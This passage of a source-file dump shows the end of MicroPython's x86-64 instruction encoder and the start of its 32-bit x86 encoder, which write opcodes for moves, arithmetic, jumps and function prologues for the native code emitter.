dest_disp);\n}\n\nvoid asm_x64_mov_r32_to_mem32(asm_x64_t *as, int src_r64, int dest_r64, int dest_disp) {\n    if (src_r64 < 8 && dest_r64 < 8) {\n        asm_x64_write_byte_1(as, OPCODE_MOV_R64_TO_RM64);\n    } else {\n        asm_x64_write_byte_2(as, REX_PREFIX | REX_R_FROM_R64(src_r64) | REX_B_FROM_R64(dest_r64), OPCODE_MOV_R64_TO_RM64);\n    }\n    asm_x64_write_r64_disp(as, src_r64, dest_r64, dest_disp);\n}\n\nvoid asm_x64_mov_r64_to_mem64(asm_x64_t *as, int src_r64, int dest_r64, int dest_disp) {\n    // use REX prefix for 64 bit operation\n    asm_x64_write_byte_2(as, REX_PREFIX | REX_W | REX_R_FROM_R64(src_r64) | REX_B_FROM_R64(dest_r64), OPCODE_MOV_R64_TO_RM64);\n    asm_x64_write_r64_disp(as, src_r64, dest_r64, dest_disp);\n}\n\nvoid asm_x64_mov_mem8_to_r64zx(asm_x64_t *as, int src_r64, int src_disp, int dest_r64) {\n    assert(src_r64 < 8);\n    if (dest_r64 < 8) {\n        asm_x64_write_byte_2(as, 0x0f, OPCODE_MOVZX_RM8_TO_R64);\n    } else {\n        asm_x64_write_byte_3(as, REX_PREFIX | REX_R, 0x0f, OPCODE_MOVZX_RM8_TO_R64);\n    }\n    asm_x64_write_r64_disp(as, dest_r64, src_r64, src_disp);\n}\n\nvoid asm_x64_mov_mem16_to_r64zx(asm_x64_t *as, int src_r64, int src_disp, int dest_r64) {\n    assert(src_r64 < 8);\n    if (dest_r64 < 8) {\n        asm_x64_write_byte_2(as, 0x0f, OPCODE_MOVZX_RM16_TO_R64);\n    } else {\n        asm_x64_write_byte_3(as, REX_PREFIX | REX_R, 0x0f, OPCODE_MOVZX_RM16_TO_R64);\n    }\n    asm_x64_write_r64_disp(as, dest_r64, src_r64, src_disp);\n}\n\nvoid asm_x64_mov_mem32_to_r64zx(asm_x64_t *as, int src_r64, int src_disp, int dest_r64) {\n    assert(src_r64 < 8);\n    if (dest_r64 < 8) {\n        asm_x64_write_byte_1(as, OPCODE_MOV_RM64_TO_R64);\n    } else {\n        asm_x64_write_byte_2(as, REX_PREFIX | REX_R, OPCODE_MOV_RM64_TO_R64);\n    }\n    asm_x64_write_r64_disp(as, dest_r64, src_r64, src_disp);\n}\n\nvoid asm_x64_mov_mem64_to_r64(asm_x64_t *as, int src_r64, int src_disp, int dest_r64) {\n    // use REX prefix for 64 bit operation\n    asm_x64_write_byte_2(as, REX_PREFIX | REX_W | REX_R_FROM_R64(dest_r64) | REX_B_FROM_R64(src_r64), OPCODE_MOV_RM64_TO_R64);\n    asm_x64_write_r64_disp(as, dest_r64, src_r64, src_disp);\n}\n\nSTATIC void asm_x64_lea_disp_to_r64(asm_x64_t *as, int src_r64, int src_disp, int dest_r64) {\n    // use REX prefix for 64 bit operation\n    assert(src_r64 < 8);\n    assert(dest_r64 < 8);\n    asm_x64_write_byte_2(as, REX_PREFIX | REX_W, OPCODE_LEA_MEM_TO_R64);\n    asm_x64_write_r64_disp(as, dest_r64, src_r64, src_disp);\n}\n\n/*\nvoid asm_x64_mov_i8_to_r8(asm_x64_t *as, int src_i8, int dest_r64) {\n    assert(dest_r64 < 8);\n    asm_x64_write_byte_2(as, OPCODE_MOV_I8_TO_R8 | dest_r64, src_i8);\n}\n*/\n\nSTATIC void asm_x64_mov_i32_to_r64(asm_x64_t *as, int src_i32, int dest_r64) {\n    // cpu defaults to i32 to r64, with zero extension\n    if (dest_r64 < 8) {\n        asm_x64_write_byte_1(as, OPCODE_MOV_I64_TO_R64 | dest_r64);\n    } else {\n        asm_x64_write_byte_2(as, REX_PREFIX | REX_B, OPCODE_MOV_I64_TO_R64 | (dest_r64 & 7));\n    }\n    asm_x64_write_word32(as, src_i32);\n}\n\nvoid asm_x64_mov_i64_to_r64(asm_x64_t *as, int64_t src_i64, int dest_r64) {\n    // cpu defaults to i32 to r64\n    // to mov i64 to r64 need to use REX prefix\n    asm_x64_write_byte_2(as,\n        REX_PREFIX | REX_W | (dest_r64 < 8 ? 0 : REX_B),\n        OPCODE_MOV_I64_TO_R64 | (dest_r64 & 7));\n    asm_x64_write_word64(as, src_i64);\n}\n\nvoid asm_x64_mov_i64_to_r64_optimised(asm_x64_t *as, int64_t src_i64, int dest_r64) {\n    // TODO use movzx, movsx if possible\n    if (UNSIGNED_FIT32(src_i64)) {\n        // 5 bytes\n        asm_x64_mov_i32_to_r64(as, src_i64 & 0xffffffff, dest_r64);\n    } else {\n        // 10 bytes\n        asm_x64_mov_i64_to_r64(as, src_i64, dest_r64);\n    }\n}\n\n// src_i64 is stored as a full word in the code, and aligned to machine-word boundary\nvoid asm_x64_mov_i64_to_r64_aligned(asm_x64_t *as, int64_t src_i64, int dest_r64) {\n    // mov instruction uses 2 bytes for the instruction, before the i64\n    while (((as->base.code_offset + 2) & (WORD_SIZE - 1)) != 0) {\n        asm_x64_nop(as);\n    }\n    asm_x64_mov_i64_to_r64(as, src_i64, dest_r64);\n}\n\nvoid asm_x64_and_r64_r64(asm_x64_t *as, int dest_r64, int src_r64) {\n    asm_x64_generic_r64_r64(as, dest_r64, src_r64, OPCODE_AND_R64_TO_RM64);\n}\n\nvoid asm_x64_or_r64_r64(asm_x64_t *as, int dest_r64, int src_r64) {\n    asm_x64_generic_r64_r64(as, dest_r64, src_r64, OPCODE_OR_R64_TO_RM64);\n}\n\nvoid asm_x64_xor_r64_r64(asm_x64_t *as, int dest_r64, int src_r64) {\n    asm_x64_generic_r64_r64(as, dest_r64, src_r64, OPCODE_XOR_R64_TO_RM64);\n}\n\nvoid asm_x64_shl_r64_cl(asm_x64_t* as, int dest_r64) {\n    asm_x64_generic_r64_r64(as, dest_r64, 4, OPCODE_SHL_RM64_CL);\n}\n\nvoid asm_x64_sar_r64_cl(asm_x64_t* as, int dest_r64) {\n    asm_x64_generic_r64_r64(as, dest_r64, 7, OPCODE_SAR_RM64_CL);\n}\n\nvoid asm_x64_add_r64_r64(asm_x64_t *as, int dest_r64, int src_r64) {\n    asm_x64_generic_r64_r64(as, dest_r64, src_r64, OPCODE_ADD_R64_TO_RM64);\n}\n\nvoid asm_x64_sub_r64_r64(asm_x64_t *as, int dest_r64, int src_r64) {\n    asm_x64_generic_r64_r64(as, dest_r64, src_r64, OPCODE_SUB_R64_FROM_RM64);\n}\n\nvoid asm_x64_mul_r64_r64(asm_x64_t *as, int dest_r64, int src_r64) {\n    // imul reg64, reg/mem64 -- 0x0f 0xaf /r\n    asm_x64_write_byte_1(as, REX_PREFIX | REX_W | REX_R_FROM_R64(dest_r64) | REX_B_FROM_R64(src_r64));\n    asm_x64_write_byte_3(as, 0x0f, 0xaf, MODRM_R64(dest_r64) | MODRM_RM_REG | MODRM_RM_R64(src_r64));\n}\n\n/*\nvoid asm_x64_sub_i32_from_r32(asm_x64_t *as, int src_i32, int dest_r32) {\n    if (SIGNED_FIT8(src_i32)) {\n        // defaults to 32 bit operation\n        asm_x64_write_byte_2(as, OPCODE_SUB_I8_FROM_RM64, MODRM_R64(5) | MODRM_RM_REG | MODRM_RM_R64(dest_r32));\n        asm_x64_write_byte_1(as, src_i32 & 0xff);\n    } else {\n        // defaults to 32 bit operation\n        asm_x64_write_byte_2(as, OPCODE_SUB_I32_FROM_RM64, MODRM_R64(5) | MODRM_RM_REG | MODRM_RM_R64(dest_r32));\n        asm_x64_write_word32(as, src_i32);\n    }\n}\n*/\n\nSTATIC void asm_x64_sub_r64_i32(asm_x64_t *as, int dest_r64, int src_i32) {\n    assert(dest_r64 < 8);\n    if (SIGNED_FIT8(src_i32)) {\n        // use REX prefix for 64 bit operation\n        asm_x64_write_byte_3(as, REX_PREFIX | REX_W, OPCODE_SUB_I8_FROM_RM64, MODRM_R64(5) | MODRM_RM_REG | MODRM_RM_R64(dest_r64));\n        asm_x64_write_byte_1(as, src_i32 & 0xff);\n    } else {\n        // use REX prefix for 64 bit operation\n        asm_x64_write_byte_3(as, REX_PREFIX | REX_W, OPCODE_SUB_I32_FROM_RM64, MODRM_R64(5) | MODRM_RM_REG | MODRM_RM_R64(dest_r64));\n        asm_x64_write_word32(as, src_i32);\n    }\n}\n\n/*\nvoid asm_x64_shl_r32_by_imm(asm_x64_t *as, int r32, int imm) {\n    asm_x64_write_byte_2(as, OPCODE_SHL_RM32_BY_I8, MODRM_R64(4) | MODRM_RM_REG | MODRM_RM_R64(r32));\n    asm_x64_write_byte_1(as, imm);\n}\n\nvoid asm_x64_shr_r32_by_imm(asm_x64_t *as, int r32, int imm) {\n    asm_x64_write_byte_2(as, OPCODE_SHR_RM32_BY_I8, MODRM_R64(5) | MODRM_RM_REG | MODRM_RM_R64(r32));\n    asm_x64_write_byte_1(as, imm);\n}\n\nvoid asm_x64_sar_r32_by_imm(asm_x64_t *as, int r32, int imm) {\n    asm_x64_write_byte_2(as, OPCODE_SAR_RM32_BY_I8, MODRM_R64(7) | MODRM_RM_REG | MODRM_RM_R64(r32));\n    asm_x64_write_byte_1(as, imm);\n}\n*/\n\nvoid asm_x64_cmp_r64_with_r64(asm_x64_t *as, int src_r64_a, int src_r64_b) {\n    asm_x64_generic_r64_r64(as, src_r64_b, src_r64_a, OPCODE_CMP_R64_WITH_RM64);\n}\n\n/*\nvoid asm_x64_cmp_i32_with_r32(asm_x64_t *as, int src_i32, int src_r32) {\n    if (SIGNED_FIT8(src_i32)) {\n        asm_x64_write_byte_2(as, OPCODE_CMP_I8_WITH_RM32, MODRM_R64(7) | MODRM_RM_REG | MODRM_RM_R64(src_r32));\n        asm_x64_write_byte_1(as, src_i32 & 0xff);\n    } else {\n        asm_x64_write_byte_2(as, OPCODE_CMP_I32_WITH_RM32, MODRM_R64(7) | MODRM_RM_REG | MODRM_RM_R64(src_r32));\n        asm_x64_write_word32(as, src_i32);\n    }\n}\n*/\n\nvoid asm_x64_test_r8_with_r8(asm_x64_t *as, int src_r64_a, int src_r64_b) {\n    // TODO implement for other registers\n    assert(src_r64_a == ASM_X64_REG_RAX);\n    assert(src_r64_b == ASM_X64_REG_RAX);\n    asm_x64_write_byte_2(as, OPCODE_TEST_R8_WITH_RM8, MODRM_R64(src_r64_a) | MODRM_RM_REG | MODRM_RM_R64(src_r64_b));\n}\n\nvoid asm_x64_setcc_r8(asm_x64_t *as, int jcc_type, int dest_r8) {\n    assert(dest_r8 < 8);\n    asm_x64_write_byte_3(as, OPCODE_SETCC_RM8_A, OPCODE_SETCC_RM8_B | jcc_type, MODRM_R64(0) | MODRM_RM_REG | MODRM_RM_R64(dest_r8));\n}\n\nSTATIC mp_uint_t get_label_dest(asm_x64_t *as, mp_uint_t label) {\n    assert(label < as->base.max_num_labels);\n    return as->base.label_offsets[label];\n}\n\nvoid asm_x64_jmp_label(asm_x64_t *as, mp_uint_t label) {\n    mp_uint_t dest = get_label_dest(as, label);\n    mp_int_t rel = dest - as->base.code_offset;\n    if (dest != (mp_uint_t)-1 && rel < 0) {\n        // is a backwards jump, so we know the size of the jump on the first pass\n        // calculate rel assuming 8 bit relative jump\n        rel -= 2;\n        if (SIGNED_FIT8(rel)) {\n            asm_x64_write_byte_2(as, OPCODE_JMP_REL8, rel & 0xff);\n        } else {\n            rel += 2;\n            goto large_jump;\n        }\n    } else {\n        // is a forwards jump, so need to assume it's large\n        large_jump:\n        rel -= 5;\n        asm_x64_write_byte_1(as, OPCODE_JMP_REL32);\n        asm_x64_write_word32(as, rel);\n    }\n}\n\nvoid asm_x64_jcc_label(asm_x64_t *as, int jcc_type, mp_uint_t label) {\n    mp_uint_t dest = get_label_dest(as, label);\n    mp_int_t rel = dest - as->base.code_offset;\n    if (dest != (mp_uint_t)-1 && rel < 0) {\n        // is a backwards jump, so we know the size of the jump on the first pass\n        // calculate rel assuming 8 bit relative jump\n        rel -= 2;\n        if (SIGNED_FIT8(rel)) {\n            asm_x64_write_byte_2(as, OPCODE_JCC_REL8 | jcc_type, rel & 0xff);\n        } else {\n            rel += 2;\n            goto large_jump;\n        }\n    } else {\n        // is a forwards jump, so need to assume it's large\n        large_jump:\n        rel -= 6;\n        asm_x64_write_byte_2(as, OPCODE_JCC_REL32_A, OPCODE_JCC_REL32_B | jcc_type);\n        asm_x64_write_word32(as, rel);\n    }\n}\n\nvoid asm_x64_entry(asm_x64_t *as, int num_locals) {\n    asm_x64_push_r64(as, ASM_X64_REG_RBP);\n    asm_x64_mov_r64_r64(as, ASM_X64_REG_RBP, ASM_X64_REG_RSP);\n    if (num_locals < 0) {\n        num_locals = 0;\n    }\n    num_locals |= 1; // make it odd so stack is aligned on 16 byte boundary\n    asm_x64_sub_r64_i32(as, ASM_X64_REG_RSP, num_locals * WORD_SIZE);\n    asm_x64_push_r64(as, ASM_X64_REG_RBX);\n    asm_x64_push_r64(as, ASM_X64_REG_R12);\n    asm_x64_push_r64(as, ASM_X64_REG_R13);\n    as->num_locals = num_locals;\n}\n\nvoid asm_x64_exit(asm_x64_t *as) {\n    asm_x64_pop_r64(as, ASM_X64_REG_R13);\n    asm_x64_pop_r64(as, ASM_X64_REG_R12);\n    asm_x64_pop_r64(as, ASM_X64_REG_RBX);\n    asm_x64_write_byte_1(as, OPCODE_LEAVE);\n    asm_x64_ret(as);\n}\n\n// locals:\n//  - stored on the stack in ascending order\n//  - numbered 0 through as->num_locals-1\n//  - RBP points above the last local\n//\n//                          | RBP\n//                          v\n//  l0  l1  l2  ...  l(n-1)\n//  ^                ^\n//  | low address    | high address in RAM\n//\nSTATIC int asm_x64_local_offset_from_ebp(asm_x64_t *as, int local_num) {\n    return (-as->num_locals + local_num) * WORD_SIZE;\n}\n\nvoid asm_x64_mov_local_to_r64(asm_x64_t *as, int src_local_num, int dest_r64) {\n    asm_x64_mov_mem64_to_r64(as, ASM_X64_REG_RBP, asm_x64_local_offset_from_ebp(as, src_local_num), dest_r64);\n}\n\nvoid asm_x64_mov_r64_to_local(asm_x64_t *as, int src_r64, int dest_local_num) {\n    asm_x64_mov_r64_to_mem64(as, src_r64, ASM_X64_REG_RBP, asm_x64_local_offset_from_ebp(as, dest_local_num));\n}\n\nvoid asm_x64_mov_local_addr_to_r64(asm_x64_t *as, int local_num, int dest_r64) {\n    int offset = asm_x64_local_offset_from_ebp(as, local_num);\n    if (offset == 0) {\n        asm_x64_mov_r64_r64(as, dest_r64, ASM_X64_REG_RBP);\n    } else {\n        asm_x64_lea_disp_to_r64(as, ASM_X64_REG_RBP, offset, dest_r64);\n    }\n}\n\n/*\nvoid asm_x64_push_local(asm_x64_t *as, int local_num) {\n    asm_x64_push_disp(as, ASM_X64_REG_RBP, asm_x64_local_offset_from_ebp(as, local_num));\n}\n\nvoid asm_x64_push_local_addr(asm_x64_t *as, int local_num, int temp_r64) {\n    asm_x64_mov_r64_r64(as, temp_r64, ASM_X64_REG_RBP);\n    asm_x64_add_i32_to_r32(as, asm_x64_local_offset_from_ebp(as, local_num), temp_r64);\n    asm_x64_push_r64(as, temp_r64);\n}\n*/\n\n/*\n   can't use these because code might be relocated when resized\n\nvoid asm_x64_call(asm_x64_t *as, void* func) {\n    asm_x64_sub_i32_from_r32(as, 8, ASM_X64_REG_RSP);\n    asm_x64_write_byte_1(as, OPCODE_CALL_REL32);\n    asm_x64_write_word32(as, func - (void*)(as->code_cur + 4));\n    asm_x64_mov_r64_r64(as, ASM_X64_REG_RSP, ASM_X64_REG_RBP);\n}\n\nvoid asm_x64_call_i1(asm_x64_t *as, void* func, int i1) {\n    asm_x64_sub_i32_from_r32(as, 8, ASM_X64_REG_RSP);\n    asm_x64_sub_i32_from_r32(as, 12, ASM_X64_REG_RSP);\n    asm_x64_push_i32(as, i1);\n    asm_x64_write_byte_1(as, OPCODE_CALL_REL32);\n    asm_x64_write_word32(as, func - (void*)(as->code_cur + 4));\n    asm_x64_add_i32_to_r32(as, 16, ASM_X64_REG_RSP);\n    asm_x64_mov_r64_r64(as, ASM_X64_REG_RSP, ASM_X64_REG_RBP);\n}\n*/\n\nvoid asm_x64_call_ind(asm_x64_t *as, void *ptr, int temp_r64) {\n    assert(temp_r64 < 8);\n#ifdef __LP64__\n    asm_x64_mov_i64_to_r64_optimised(as, (int64_t)ptr, temp_r64);\n#else\n    // If we get here, sizeof(int) == sizeof(void*).\n    asm_x64_mov_i64_to_r64_optimised(as, (int64_t)(unsigned int)ptr, temp_r64);\n#endif\n    asm_x64_write_byte_2(as, OPCODE_CALL_RM32, MODRM_R64(2) | MODRM_RM_REG | MODRM_RM_R64(temp_r64));\n    // this reduces code size by 2 bytes per call, but doesn't seem to speed it up at all\n    // doesn't work anymore because calls are 64 bits away\n    /*\n    asm_x64_write_byte_1(as, OPCODE_CALL_REL32);\n    asm_x64_write_word32(as, ptr - (void*)(as->code_base + as->code_offset + 4));\n    */\n}\n\n#endif // MICROPY_EMIT_X64\n"
  },
  {
    "path": "micropython/source/py/asmx86.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdint.h>\n#include <stdio.h>\n#include <assert.h>\n#include <string.h>\n\n#include \"py/mpconfig.h\"\n\n// wrapper around everything in this file\n#if MICROPY_EMIT_X86\n\n#include \"py/asmx86.h\"\n\n/* all offsets are measured in multiples of 4 bytes */\n#define WORD_SIZE                (4)\n\n#define OPCODE_NOP               (0x90)\n#define OPCODE_PUSH_R32          (0x50)\n//#define OPCODE_PUSH_I32          (0x68)\n//#define OPCODE_PUSH_M32          (0xff) /* /6 */\n#define OPCODE_POP_R32           (0x58)\n#define OPCODE_RET               (0xc3)\n//#define OPCODE_MOV_I8_TO_R8      (0xb0) /* +rb */\n#define OPCODE_MOV_I32_TO_R32    (0xb8)\n//#define OPCODE_MOV_I32_TO_RM32   (0xc7)\n#define OPCODE_MOV_R8_TO_RM8     (0x88) /* /r */\n#define OPCODE_MOV_R32_TO_RM32   (0x89) /* /r */\n#define OPCODE_MOV_RM32_TO_R32   (0x8b) /* /r */\n#define OPCODE_MOVZX_RM8_TO_R32  (0xb6) /* 0x0f 0xb6/r */\n#define OPCODE_MOVZX_RM16_TO_R32 (0xb7) /* 0x0f 0xb7/r */\n#define OPCODE_LEA_MEM_TO_R32    (0x8d) /* /r */\n#define OPCODE_AND_R32_TO_RM32   (0x21) /* /r */\n#define OPCODE_OR_R32_TO_RM32    (0x09) /* /r */\n#define OPCODE_XOR_R32_TO_RM32   (0x31) /* /r */\n#define OPCODE_ADD_R32_TO_RM32   (0x01)\n#define OPCODE_ADD_I32_TO_RM32   (0x81) /* /0 */\n#define OPCODE_ADD_I8_TO_RM32    (0x83) /* /0 */\n#define OPCODE_SUB_R32_FROM_RM32 (0x29)\n#define OPCODE_SUB_I32_FROM_RM32 (0x81) /* /5 */\n#define OPCODE_SUB_I8_FROM_RM32  (0x83) /* /5 */\n//#define OPCODE_SHL_RM32_BY_I8    (0xc1) /* /4 */\n//#define OPCODE_SHR_RM32_BY_I8    (0xc1) /* /5 */\n//#define OPCODE_SAR_RM32_BY_I8    (0xc1) /* /7 */\n#define OPCODE_SHL_RM32_CL       (0xd3) /* /4 */\n#define OPCODE_SAR_RM32_CL       (0xd3) /* /7 */\n//#define OPCODE_CMP_I32_WITH_RM32 (0x81) /* /7 */\n//#define OPCODE_CMP_I8_WITH_RM32  (0x83) /* /7 */\n#define OPCODE_CMP_R32_WITH_RM32 (0x39)\n//#define OPCODE_CMP_RM32_WITH_R32 (0x3b)\n#define OPCODE_TEST_R8_WITH_RM8  (0x84) /* /r */\n#define OPCODE_JMP_REL8          (0xeb)\n#define OPCODE_JMP_REL32         (0xe9)\n#define OPCODE_JCC_REL8          (0x70) /* | jcc type */\n#define OPCODE_JCC_REL32_A       (0x0f)\n#define OPCODE_JCC_REL32_B       (0x80) /* | jcc type */\n#define OPCODE_SETCC_RM8_A       (0x0f)\n#define OPCODE_SETCC_RM8_B       (0x90) /* | jcc type, /0 */\n#define OPCODE_CALL_REL32        (0xe8)\n#define OPCODE_CALL_RM32         (0xff) /* /2 */\n#define OPCODE_LEAVE             (0xc9)\n\n#define MODRM_R32(x)    ((x) << 3)\n#define MODRM_RM_DISP0  (0x00)\n#define MODRM_RM_DISP8  (0x40)\n#define MODRM_RM_DISP32 (0x80)\n#define MODRM_RM_REG    (0xc0)\n#define MODRM_RM_R32(x) (x)\n\n#define OP_SIZE_PREFIX (0x66)\n\n#define IMM32_L0(x) ((x) & 0xff)\n#define IMM32_L1(x) (((x) >> 8) & 0xff)\n#define IMM32_L2(x) (((x) >> 16) & 0xff)\n#define IMM32_L3(x) (((x) >> 24) & 0xff)\n\n#define SIGNED_FIT8(x) (((x) & 0xffffff80) == 0) || (((x) & 0xffffff80) == 0xffffff80)\n\nSTATIC void asm_x86_write_byte_1(asm_x86_t *as, byte b1) {\n    byte* c = mp_asm_base_get_cur_to_write_bytes(&as->base, 1);\n    if (c != NULL) {\n        c[0] = b1;\n    }\n}\n\nSTATIC void asm_x86_write_byte_2(asm_x86_t *as, byte b1, byte b2) {\n    byte* c = mp_asm_base_get_cur_to_write_bytes(&as->base, 2);\n    if (c != NULL) {\n        c[0] = b1;\n        c[1] = b2;\n    }\n}\n\nSTATIC void asm_x86_write_byte_3(asm_x86_t *as, byte b1, byte b2, byte b3) {\n    byte* c = mp_asm_base_get_cur_to_write_bytes(&as->base, 3);\n    if (c != NULL) {\n        c[0] = b1;\n        c[1] = b2;\n        c[2] = b3;\n    }\n}\n\nSTATIC void asm_x86_write_word32(asm_x86_t *as, int w32) {\n    byte* c = mp_asm_base_get_cur_to_write_bytes(&as->base, 4);\n    if (c != NULL) {\n        c[0] = IMM32_L0(w32);\n        c[1] = IMM32_L1(w32);\n        c[2] = IMM32_L2(w32);\n        c[3] = IMM32_L3(w32);\n    }\n}\n\nSTATIC void asm_x86_write_r32_disp(asm_x86_t *as, int r32, int disp_r32, int disp_offset) {\n    assert(disp_r32 != ASM_X86_REG_ESP);\n\n    if (disp_offset == 0 && disp_r32 != ASM_X86_REG_EBP) {\n        asm_x86_write_byte_1(as, MODRM_R32(r32) | MODRM_RM_DISP0 | MODRM_RM_R32(disp_r32));\n    } else if (SIGNED_FIT8(disp_offset)) {\n        asm_x86_write_byte_2(as, MODRM_R32(r32) | MODRM_RM_DISP8 | MODRM_RM_R32(disp_r32), IMM32_L0(disp_offset));\n    } else {\n        asm_x86_write_byte_1(as, MODRM_R32(r32) | MODRM_RM_DISP32 | MODRM_RM_R32(disp_r32));\n        asm_x86_write_word32(as, disp_offset);\n    }\n}\n\nSTATIC void asm_x86_generic_r32_r32(asm_x86_t *as, int dest_r32, int src_r32, int op) {\n    asm_x86_write_byte_2(as, op, MODRM_R32(src_r32) | MODRM_RM_REG | MODRM_RM_R32(dest_r32));\n}\n\nSTATIC void asm_x86_nop(asm_x86_t *as) {\n    asm_x86_write_byte_1(as, OPCODE_NOP);\n}\n\nSTATIC void asm_x86_push_r32(asm_x86_t *as, int src_r32) {\n    asm_x86_write_byte_1(as, OPCODE_PUSH_R32 | src_r32);\n}\n\n#if 0\nvoid asm_x86_push_i32(asm_x86_t *as, int src_i32) {\n    asm_x86_write_byte_1(as, OPCODE_PUSH_I32);\n    asm_x86_write_word32(as, src_i32);\n}\n\nvoid asm_x86_push_disp(asm_x86_t *as, int src_r32, int src_offset) {\n    asm_x86_write_byte_1(as, OPCODE_PUSH_M32);\n    asm_x86_write_r32_disp(as, 6, src_r32, src_offset);\n}\n#endif\n\nSTATIC void asm_x86_pop_r32(asm_x86_t *as, int dest_r32) {\n    asm_x86_write_byte_1(as, OPCODE_POP_R32 | dest_r32);\n}\n\nSTATIC void asm_x86_ret(asm_x86_t *as) {\n    asm_x86_write_byte_1(as, OPCODE_RET);\n}\n\nvoid asm_x86_mov_r32_r32(asm_x86_t *as, int dest_r32, int src_r32) {\n    asm_x86_generic_r32_r32(as, dest_r32, src_r32, OPCODE_MOV_R32_TO_RM32);\n}\n\nvoid asm_x86_mov_r8_to_mem8(asm_x86_t *as, int src_r32, int dest_r32, int dest_disp) {\n    asm_x86_write_byte_1(as, OPCODE_MOV_R8_TO_RM8);\n    asm_x86_write_r32_disp(as, src_r32, dest_r32, dest_disp);\n}\n\nvoid asm_x86_mov_r16_to_mem16(asm_x86_t *as, int src_r32, int dest_r32, int dest_disp) {\n    asm_x86_write_byte_2(as, OP_SIZE_PREFIX, OPCODE_MOV_R32_TO_RM32);\n    asm_x86_write_r32_disp(as, src_r32, dest_r32, dest_disp);\n}\n\nvoid asm_x86_mov_r32_to_mem32(asm_x86_t *as, int src_r32, int dest_r32, int dest_disp) {\n    asm_x86_write_byte_1(as, OPCODE_MOV_R32_TO_RM32);\n    asm_x86_write_r32_disp(as, src_r32, dest_r32, dest_disp);\n}\n\nvoid asm_x86_mov_mem8_to_r32zx(asm_x86_t *as, int src_r32, int src_disp, int dest_r32) {\n    asm_x86_write_byte_2(as, 0x0f, OPCODE_MOVZX_RM8_TO_R32);\n    asm_x86_write_r32_disp(as, dest_r32, src_r32, src_disp);\n}\n\nvoid asm_x86_mov_mem16_to_r32zx(asm_x86_t *as, int src_r32, int src_disp, int dest_r32) {\n    asm_x86_write_byte_2(as, 0x0f, OPCODE_MOVZX_RM16_TO_R32);\n    asm_x86_write_r32_disp(as, dest_r32, src_r32, src_disp);\n}\n\nvoid asm_x86_mov_mem32_to_r32(asm_x86_t *as, int src_r32, int src_disp, int dest_r32) {\n    asm_x86_write_byte_1(as, OPCODE_MOV_RM32_TO_R32);\n    asm_x86_write_r32_disp(as, dest_r32, src_r32, src_disp);\n}\n\nSTATIC void asm_x86_lea_disp_to_r32(asm_x86_t *as, int src_r32, int src_disp, int dest_r32) {\n    asm_x86_write_byte_1(as, OPCODE_LEA_MEM_TO_R32);\n    asm_x86_write_r32_disp(as, dest_r32, src_r32, src_disp);\n}\n\n#if 0\nvoid asm_x86_mov_i8_to_r8(asm_x86_t *as, int src_i8, int dest_r32) {\n    asm_x86_write_byte_2(as, OPCODE_MOV_I8_TO_R8 | dest_r32, src_i8);\n}\n#endif\n\nvoid asm_x86_mov_i32_to_r32(asm_x86_t *as, int32_t src_i32, int dest_r32) {\n    asm_x86_write_byte_1(as, OPCODE_MOV_I32_TO_R32 | dest_r32);\n    asm_x86_write_word32(as, src_i32);\n}\n\n// src_i32 is stored as a full word in the code, and aligned to machine-word boundary\nvoid asm_x86_mov_i32_to_r32_aligned(asm_x86_t *as, int32_t src_i32, int dest_r32) {\n    // mov instruction uses 1 byte for the instruction, before the i32\n    while (((as->base.code_offset + 1) & (WORD_SIZE - 1)) != 0) {\n        asm_x86_nop(as);\n    }\n    asm_x86_mov_i32_to_r32(as, src_i32, dest_r32);\n}\n\nvoid asm_x86_and_r32_r32(asm_x86_t *as, int dest_r32, int src_r32) {\n    asm_x86_generic_r32_r32(as, dest_r32, src_r32, OPCODE_AND_R32_TO_RM32);\n}\n\nvoid asm_x86_or_r32_r32(asm_x86_t *as, int dest_r32, int src_r32) {\n    asm_x86_generic_r32_r32(as, dest_r32, src_r32, OPCODE_OR_R32_TO_RM32);\n}\n\nvoid asm_x86_xor_r32_r32(asm_x86_t *as, int dest_r32, int src_r32) {\n    asm_x86_generic_r32_r32(as, dest_r32, src_r32, OPCODE_XOR_R32_TO_RM32);\n}\n\nvoid asm_x86_shl_r32_cl(asm_x86_t* as, int dest_r32) {\n    asm_x86_generic_r32_r32(as, dest_r32, 4, OPCODE_SHL_RM32_CL);\n}\n\nvoid asm_x86_sar_r32_cl(asm_x86_t* as, int dest_r32) {\n    asm_x86_generic_r32_r32(as, dest_r32, 7, OPCODE_SAR_RM32_CL);\n}\n\nvoid asm_x86_add_r32_r32(asm_x86_t *as, int dest_r32, int src_r32) {\n    asm_x86_generic_r32_r32(as, dest_r32, src_r32, OPCODE_ADD_R32_TO_RM32);\n}\n\nSTATIC void asm_x86_add_i32_to_r32(asm_x86_t *as, int src_i32, int dest_r32) {\n    if (SIGNED_FIT8(src_i32)) {\n        asm_x86_write_byte_2(as, OPCODE_ADD_I8_TO_RM32, MODRM_R32(0) | MODRM_RM_REG | MODRM_RM_R32(dest_r32));\n        asm_x86_write_byte_1(as, src_i32 & 0xff);\n    } else {\n        asm_x86_write_byte_2(as, OPCODE_ADD_I32_TO_RM32, MODRM_R32(0) | MODRM_RM_REG | MODRM_RM_R32(dest_r32));\n        asm_x86_write_word32(as, src_i32);\n    }\n}\n\nvoid asm_x86_sub_r32_r32(asm_x86_t *as, int dest_r32, int src_r32) {\n    asm_x86_generic_r32_r32(as, dest_r32, src_r32, OPCODE_SUB_R32_FROM_RM32);\n}\n\nSTATIC void asm_x86_sub_r32_i32(asm_x86_t *as, int dest_r32, 